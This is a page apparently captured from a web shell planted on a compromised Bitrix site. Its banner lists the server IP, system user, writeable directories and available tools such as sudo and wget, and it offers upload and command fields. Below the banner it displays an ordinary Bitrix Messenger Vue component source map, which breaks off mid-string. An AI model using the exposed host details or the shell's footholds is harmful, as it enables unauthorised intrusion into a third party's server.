403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/js/im/view/message/body/dist/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/js/im/view/message/body/dist/body.bundle.js.map
{"version":3,"file":"body.bundle.js","sources":["../src/body.js"],"sourcesContent":["/**\n * Bitrix Messenger\n * Message Vue component\n *\n * @package bitrix\n * @subpackage im\n * @copyright 2001-2019 Bitrix\n */\n\nimport 'ui.design-tokens';\nimport './body.css';\nimport 'im.view.element.media';\nimport 'im.view.element.attach';\nimport 'im.view.element.keyboard';\nimport 'im.view.element.chatteaser';\nimport 'ui.vue.components.reaction';\n\nimport {BitrixVue} from \"ui.vue\";\nimport {Vuex} from \"ui.vue.vuex\";\nimport {MessagesModel} from 'im.model';\nimport {DialogType, MessageType, EventType} from \"im.const\";\nimport {Utils} from \"im.lib.utils\";\n\nimport {Text} from 'main.core';\nimport {EventEmitter} from 'main.core.events';\n\nconst BX = window.BX;\n\nconst ContentType = Object.freeze({\n\tdefault: 'default',\n\tprogress: 'progress',\n\timage: 'image',\n\taudio: 'audio',\n\tvideo: 'video',\n\trichLink: 'richLink',\n});\n\nBitrixVue.component('bx-im-view-message-body',\n{\n\t/**\n\t * @emits EventType.dialog.clickOnChatTeaser {message: object, event: MouseEvent}\n\t * @emits EventType.dialog.clickOnKeyboardButton {message: object, action: string, params: Object}\n\t * @emits EventType.dialog.setMessageReaction {message: object, reaction: object}\n\t * @emits EventType.dialog.openMessageReactionList {message: object, values: object}\n\t * @emits EventType.dialog.clickOnUserName {user: object, event: MouseEvent}\n\t */\n\tprops:\n\t{\n\t\tuserId: { default: 0 },\n\t\tdialogId: { default: '0' },\n\t\tchatId: { default: 0 },\n\t\tmessageType: { default: MessageType.self },\n\t\tmessage: {\n\t\t\ttype: Object,\n\t\t\tdefault: MessagesModel.create().getElementState\n\t\t},\n\t\tenableReactions: { default: true },\n\t\tshowName: { default: true },\n\t\tshowAvatar: { default: true },\n\t\treferenceContentBodyClassName: { default: ''},\n\t\treferenceContentNameClassName: { default: ''},\n\t},\n\tcreated()\n\t{\n\t\tthis.dateFormatFunction = null;\n\t\tthis.cacheFormatDate = {};\n\t},\n\tmethods:\n\t{\n\t\tclickByUserName(event)\n\t\t{\n\t\t\tif (this.showAvatar && Utils.platform.isMobile())\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tEventEmitter.emit(EventType.dialog.clickOnUserName, event);\n\t\t},\n\t\tclickByChatTeaser(event)\n\t\t{\n\t\t\tEventEmitter.emit(EventType.dialog.clickOnChatTeaser, {message: event.message, event: event.event});\n\t\t},\n\t\tclickByKeyboardButton(event)\n\t\t{\n\t\t\tEventEmitter.emit(EventType.dialog.clickOnKeyboardButton, {message: event.message, ...event.event});\n\t\t},\n\t\tsetReaction(event)\n\t\t{\n\t\t\tEventEmitter.emit(EventType.dialog.setMessageReaction, event);\n\t\t},\n\t\topenReactionList(event)\n\t\t{\n\t\t\tEventEmitter.emit(EventType.dialog.openMessageReactionList, event);\n\t\t},\n\t\tformatDate(date)\n\t\t{\n\t\t\tconst id = date.toJSON().slice(0, 10);\n\n\t\t\tif (this.cacheFormatDate[id])\n\t\t\t{\n\t\t\t\treturn this.cacheFormatDate[id];\n\t\t\t}\n\n\t\t\tlet dateFormat = Utils.date.getFormatType(\n\t\t\t\tBX.Messenger.Const.DateFormat.message,\n\t\t\t\tthis.$Bitrix.Loc.getMessages()\n\t\t\t);\n\n\t\t\tthis.cacheFormatDate[id] = this._getDateFormat().format(dateFormat, date);\n\n\t\t\treturn this.cacheFormatDate[id];\n\t\t},\n\t\t_getDateFormat()\n\t\t{\n\t\t\tif (this.dateFormatFunction)\n\t\t\t{\n\t\t\t\treturn this.dateFormatFunction;\n\t\t\t}\n\n\t\t\tthis.dateFormatFunction = Object.create(BX.Main.Date);\n\t\t\tthis.dateFormatFunction._getMessage = (phrase) => this.$Bitrix.Loc.getMessage(phrase);\n\n\t\t\treturn this.dateFormatFunction;\n\t\t},\n\t\tisDesktop()\n\t\t{\n\t\t\treturn Utils.platform.isBitrixDesktop();\n\t\t},\n\t\tgetDesktopVersion()\n\t\t{\n\t\t\treturn Utils.platform.getDesktopVersion();\n\t\t},\n\t\tisMobile()\n\t\t{\n\t\t\treturn Utils.platform.isBitrixMobile();\n\t\t}\n\t},\n\tcomputed:\n\t{\n\t\tMessageType: () => MessageType,\n\t\tContentType: () => ContentType,\n\n\t\tcontentType()\n\t\t{\n\t\t\tif (this.filesData.length > 0)\n\t\t\t{\n\t\t\t\tlet onlyImage = false;\n\t\t\t\tlet onlyVideo = false;\n\t\t\t\tlet onlyAudio = false;\n\t\t\t\tlet inProgress = false;\n\n\t\t\t\tfor (let file of this.filesData)\n\t\t\t\t{\n\t\t\t\t\tif (file.progress < 0)\n\t\t\t\t\t{\n\t\t\t\t\t\tinProgress = true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\telse if (file.type === 'audio')\n\t\t\t\t\t{\n\t\t\t\t\t\tif (onlyVideo || onlyImage)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tonlyImage = false;\n\t\t\t\t\t\t\tonlyVideo = false;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tonlyAudio = true;\n\t\t\t\t\t}\n\t\t\t\t\telse if (file.type === 'image' && file.image)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (onlyVideo || onlyAudio)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tonlyAudio = false;\n\t\t\t\t\t\t\tonlyVideo = false;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tonlyImage = true;\n\t\t\t\t\t}\n\t\t\t\t\telse if (file.type === 'video')\n\t\t\t\t\t{\n\t\t\t\t\t\tif (onlyImage || onlyAudio)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tonlyAudio = false;\n\t\t\t\t\t\t\tonlyImage = false;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tonlyVideo = true;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tonlyAudio = false;\n\t\t\t\t\t\tonlyImage = false;\n\t\t\t\t\t\tonlyVideo = false;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (inProgress)\n\t\t\t\t{\n\t\t\t\t\treturn ContentType.progress;\n\t\t\t\t}\n\t\t\t\telse if (onlyImage)\n\t\t\t\t{\n\t\t\t\t\treturn ContentType.image;\n\t\t\t\t}\n\t\t\t\telse if (onlyAudio)\n\t\t\t\t{\n\t\t\t\t\treturn ContentType.audio;\n\t\t\t\t}\n\t\t\t\telse if (onlyVideo)\n\t\t\t\t{\n\t\t\t\t\treturn ContentType.video;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn ContentType.default;\n\t\t},\n\n\t\tformattedDate()\n\t\t{\n\t\t\treturn this.formatDate(this.message.date);\n\t\t},\n\n\t\tmessageText()\n\t\t{\n\t\t\tif (this.isDeleted)\n\t\t\t{\n\t\t\t\treturn this.$Bitrix.Loc.getMessage('IM_MESSENGER_MESSAGE_DELETED');\n\t\t\t}\n\n\t\t\tlet message = this.message.textConverted? this.message.textConverted: Utils.text.decode(this.message.text);\n\t\t\tlet messageParams = this.message.params;\n\n\t\t\tif (\n\t\t\t\ttypeof messageParams.LINK_ACTIVE !== 'undefined'\n\t\t\t\t&& messageParams.LINK_ACTIVE.length > 0\n\t\t\t\t&& !messageParams.LINK_ACTIVE.includes(this.userId)\n\t\t\t)\n\t\t\t{\n\t\t\t\tmessage = message.replace(/<a.*?href=\"([^\"]*)\".*?>(.*?)<\\/a>/gi, '$2');\n\t\t\t}\n\n\t\t\treturn message;\n\t\t},\n\n\t\tmessageAttach()\n\t\t{\n\t\t\treturn this.message.params.ATTACH;\n\t\t},\n\n\t\tmessageReactions()\n\t\t{\n\t\t\treturn this.message.params.REACTION || {};\n\t\t},\n\n\t\tisEdited()\n\t\t{\n\t\t\treturn this.message.params.IS_EDITED === 'Y';\n\t\t},\n\n\t\tisDeleted()\n\t\t{\n\t\t\treturn this.message.params.IS_DELETED === 'Y';\n\t\t},\n\n\t\tchatColor()\n\t\t{\n\t\t\treturn this.dialog.type !== DialogType.private? this.dialog.color: this.user.color;\n\t\t},\n\t\tdialog()\n\t\t{\n\t\t\tconst dialog = this.$store.getters['dialogues/get'](this.dialogId);\n\n\t\t\treturn dialog? dialog: this.$store.getters['dialogues/getBlank']();\n\t\t},\n\t\tuser()\n\t\t{\n\t\t\treturn this.$store.getters['users/get'](this.message.authorId, true);\n\t\t},\n\t\tfilesData()\n\t\t{\n\t\t\tlet files = [];\n\n\t\t\tif (!this.message.params.FILE_ID || this.message.params.FILE_ID.length <= 0)\n\t\t\t{\n\t\t\t\treturn files;\n\t\t\t}\n\n\t\t\tthis.message.params.FILE_ID.forEach(fileId => {\n\t\t\t\tif (!fileId)\n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tlet file = this.$store.getters['files/get'](this.chatId, fileId, true);\n\t\t\t\tif (!file)\n\t\t\t\t{\n\t\t\t\t\tthis.$store.commit('files/set', {data: [\n\t\t\t\t\t\tthis.$store.getters['files/getBlank']({id: fileId, chatId: this.chatId})\n\t\t\t\t\t]});\n\t\t\t\t\tfile = this.$store.getters['files/get'](this.chatId, fileId, true);\n\t\t\t\t}\n\t\t\t\tif (file)\n\t\t\t\t{\n\t\t\t\t\tfiles.push(file);\n\t\t\t\t}\n\t\t\t});\n\n\t\t\treturn files;\n\t\t},\n\n\t\tkeyboardButtons()\n\t\t{\n\t\t\tlet result = false;\n\n\t\t\tif (!this.message.params.KEYBOARD || this.message.params.KEYBOARD === 'N')\n\t\t\t{\n\t\t\t\treturn result;\n\t\t\t}\n\n\t\t\treturn this.message.params.KEYBOARD;\n\t\t},\n\t\tchatTeaser()\n\t\t{\n\t\t\tif (\n\t\t\t\ttypeof this.message.params.CHAT_ID === 'undefined'\n\t\t\t\t|| typeof this.message.params.CHAT_LAST_DATE === 'undefined'\n\t\t\t\t|| typeof this.message.params.CHAT_MESSAGE === 'undefined'\n\t\t\t)\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\treturn {\n\t\t\t\tmessageCounter: this.message.params.CHAT_MESSAGE,\n\t\t\t\tmessageLastDate: this.message.params.CHAT_LAST_DATE,\n\t\t\t\tlanguageId: this.application.common.languageId\n\t\t\t};\n\t\t},\n\n\t\tuserName()\n\t\t{\n\t\t\tif (this.message.params.NAME)\n\t\t\t{\n\t\t\t\treturn Text.decode(this.message.params.NAME);\n\t\t\t}\n\n\t\t\tif (!this.showAvatar)\n\t\t\t{\n\t\t\t\treturn this.user.name;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn this.user.firstName ? this.user.firstName : this.user.name;\n\t\t\t}\n\t\t},\n\n\t\tuserColor()\n\t\t{\n\t\t\tif (this.user.extranet)\n\t\t\t{\n\t\t\t\treturn \"#CA7B00\";\n\t\t\t}\n\n\t\t\treturn this.user.color;\n\t\t},\n\n\t\t...Vuex.mapState({\n\t\t\tapplication: state => state.application,\n\t\t})\n\t},\n\t// language=Vue\n\ttemplate: `\n\t\t<div class=\"bx-im-message-content-wrap\">\n\t\t\t<template v-if=\"contentType == ContentType.default || contentType == ContentType.audio || contentType == ContentType.progress || (contentType !== ContentType.image && isDesktop() && getDesktopVersion() < 47)\">\n\t\t\t\t<div class=\"bx-im-message-content\">\n\t\t\t\t\t<span class=\"bx-im-message-content-box\">\n\t\t\t\t\t\t<div class=\"bx-im-message-content-name-wrap\">\n\t\t\t\t\t\t\t<template v-if=\"showName && user.extranet && messageType == MessageType.opponent\">\n\t\t\t\t\t\t\t\t<div class=\"bx-im-message-extranet-icon\"></div>\n\t\t\t\t\t\t\t</template>\n\t\t\t\t\t\t\t<template v-if=\"showName && messageType == MessageType.opponent\">\n\t\t\t\t\t\t\t\t<div :class=\"['bx-im-message-content-name', referenceContentNameClassName]\" :style=\"{color: userColor}\" @click=\"clickByUserName({user: user, event: $event})\">{{userName}}</div>\n\t\t\t\t\t\t\t</template>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div :class=\"['bx-im-message-content-body', referenceContentBodyClassName]\">\n\t\t\t\t\t\t\t<template v-if=\"(contentType == ContentType.audio) && (!isDesktop() || (isDesktop() && getDesktopVersion() > 43))\">\n\t\t\t\t\t\t\t\t<bx-im-view-element-file-audio v-for=\"file in filesData\" :messageType=\"messageType\" :file=\"file\" :key=\"file.templateId\"/>\n\t\t\t\t\t\t\t</template>\n\t\t\t\t\t\t\t<template v-else>\n\t\t\t\t\t\t\t\t<bx-im-view-element-file v-for=\"file in filesData\" :messageType=\"messageType\" :file=\"file\" :key=\"file.templateId\"/>\n\t\t\t\t\t\t\t</template>\n\t\t\t\t\t\t\t<div :class=\"['bx-im-message-content-body-wrap', {\n\t\t\t\t\t\t\t\t'bx-im-message-content-body-with-text': messageText.length > 0,\n\t\t\t\t\t\t\t\t'bx-im-message-content-body-without-text': messageText.length <= 0,\n\t\t\t\t\t\t\t}]\">\n\t\t\t\t\t\t\t\t<template v-if=\"messageText\">\n\t\t\t\t\t\t\t\t\t<span class=\"bx-im-message-content-text\" v-html=\"messageText\"></span>\n\t\t\t\t\t\t\t\t</template>\n\t\t\t\t\t\t\t\t<template v-for=\"(config, id) in messageAttach\">\n\t\t\t\t\t\t\t\t\t<bx-im-view-element-attach :baseColor=\"chatColor\" :config=\"config\" :key=\"id\"/>\n\t\t\t\t\t\t\t\t</template>\n\t\t\t\t\t\t\t\t<span class=\"bx-im-message-content-params\">\n\t\t\t\t\t\t\t\t\t<span class=\"bx-im-message-content-date\">{{formattedDate}}</span>\n\t\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</span>\n\t\t\t\t\t<div v-if=\"!message.push && enableReactions && message.authorId\" class=\"bx-im-message-content-reaction\">\n\t\t\t\t\t\t<bx-reaction :id=\"'message'+message.id\" :values=\"messageReactions\" :userId=\"userId\" :openList=\"false\" @set=\"setReaction({message: message, reaction: $event})\" @list=\"openReactionList({message: message, values: $event.values})\"/>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</template>\n\t\t\t<template v-else-if=\"contentType == ContentType.richLink\">\n\t\t\t\t<!-- richLink type markup -->\n\t\t\t</template>\n\t\t\t<template v-else-if=\"contentType == ContentType.image || contentType == ContentType.video\">\n\t\t\t\t<div class=\"bx-im-message-content bx-im-message-content-fit\">\n\t\t\t\t\t<span class=\"bx-im-message-content-box\">\n\t\t\t\t\t\t<template v-if=\"showName && messageType == MessageType.opponent\">\n\t\t\t\t\t\t\t<div :class=\"['bx-im-message-content-name', referenceContentNameClassName]\" :style=\"{color: user.color}\" @click=\"clickByUserName({user: user, event: $event})\">{{!showAvatar? user.name: (user.firstName? user.firstName: user.name)}}</div>\n\t\t\t\t\t\t</template>\n\t\t\t\t\t\t<div :class=\"['bx-im-message-content-body', referenceContentBodyClassName]\">\n\t\t\t\t\t\t\t<template v-if=\"contentType == ContentType.image\">\n\t\t\t\t\t\t\t\t<bx-im-view-element-file-image v-for=\"file in filesData\" :messageType=\"messageType\" :file=\"file\" :key=\"file.templateId\"/>\n\t\t\t\t\t\t\t</template>\n\t\t\t\t\t\t\t<template v-else-if=\"contentType == ContentType.video\">\n\t\t\t\t\t\t\t\t<bx-im-view-element-file-video v-for=\"file in filesData\" :messageType=\"messageType\" :file=\"file\" :key=\"file.templateId\"/>\n\t\t\t\t\t\t\t</template>\n\t\t\t\t\t\t\t<div :class=\"['bx-im-message-content-body-wrap', {\n\t\t\t\t\t\t\t\t'bx-im-message-content-body-with-text': messageText.length > 0,\n\t\t\t\t\t\t\t\t'bx-im-message-content-body-without-text': messageText.length <= 0,\n\t\t\t\t\t\t\t}]\">\n\t\t\t\t\t\t\t\t<template v-if=\"messageText\">\n\t\t\t\t\t\t\t\t\t<span class=\"bx-im-message-content-text\" v-html=\"messageText\"></span>\n\t\t\t\t\t\t\t\t</template>\n\t\t\t\t\t\t\t\t<span class=\"bx-im-message-content-params\">\n\t\t\t\t\t\t\t\t\t<span class=\"bx-im-message-content-date\">{{formattedDate}}</span>\n\t\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</span>\n\t\t\t\t\t<div v-if=\"!message.push && enableReactions && message.authorId\" class=\"bx-im-message-content-reaction\">\n\t\t\t\t\t\t<bx-reaction :id=\"'message'+message.id\" :values=\"messageReactions\" :userId=\"userId\" :openList=\"false\" @set=\"setReaction({message: message, reaction: $event})\" @list=\"openReactionList({message: message, values: $event.values})\"/>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</template>\n\t\t\t<template v-if=\"keyboardButtons\">\n\t\t\t\t<bx-im-view-element-keyboard :buttons=\"keyboardButtons\" :messageId=\"message.id\" :userId=\"userId\" :dialogId=\"dialogId\" @click=\"clickByKeyboardButton({message: message, event: $event})\"/>\n\t\t\t</template>\n\t\t\t<template v-if=\"chatTeaser\">\n\t\t\t\t<bx-im-view-element-chat-teaser :messageCounter=\"chatTeaser.messageCounter\" :messageLastDate=\"chatTeaser.messageLastDate\" :languageId=\"chatTeaser.languageId\" @click=\"clickByChatTeaser({message: message, event: $event})\"/>\n\t\t\t</template>\n\t\t</div>\n\t`\n});"],"names":["BX","window","ContentType","Object","freeze","progress","image","audio","video","richLink","BitrixVue","component","props","userId","dialogId","chatId","messageType","MessageType","self","message","type","MessagesModel","create","getElementState","enableReactions","showName","showAvatar","referenceContentBodyClassName","referenceContentNameClassName","created","dateFormatFunction","cacheFormatDate","methods","clickByUserName","event","Utils","platform","isMobile","EventEmitter","emit","EventType","dialog","clickOnUserName","clickByChatTeaser","clickOnChatTeaser","clickByKeyboardButton","clickOnKeyboardButton","setReaction","setMessageReaction","openReactionList","openMessageReactionList","formatDate","date","id","toJSON","slice","dateFormat","getFormatType","Messenger","Const","DateFormat","$Bitrix","Loc","getMessages","_getDateFormat","format","Main","Date","_getMessage","phrase","getMessage","isDesktop","isBitrixDesktop","getDesktopVersion","isBitrixMobile","computed","contentType","filesData","length","onlyImage","onlyVideo","onlyAudio","inProgress","file","formattedDate","messageText","isDeleted","textConverted","text","decode","messageParams","params","LINK_ACTIVE","includes","replace","messageAttach","ATTACH","messageReactions","REACTION","isEdited","IS_EDITED","IS_DELETED","chatColor","DialogType","color","user","$store","getters","authorId","files","FILE_ID","forEach","fileId","commit","data","push","keyboardButtons","result","KEYBOARD","chatTeaser","CHAT_ID","CHAT_LAST_DATE","CHAT_MESSAGE","messageCounter","messageLastDate","languageId","application","common","userName","NAME","Text","name","firstName","userColor","extranet","Vuex","mapState","state","template"],"mappings":"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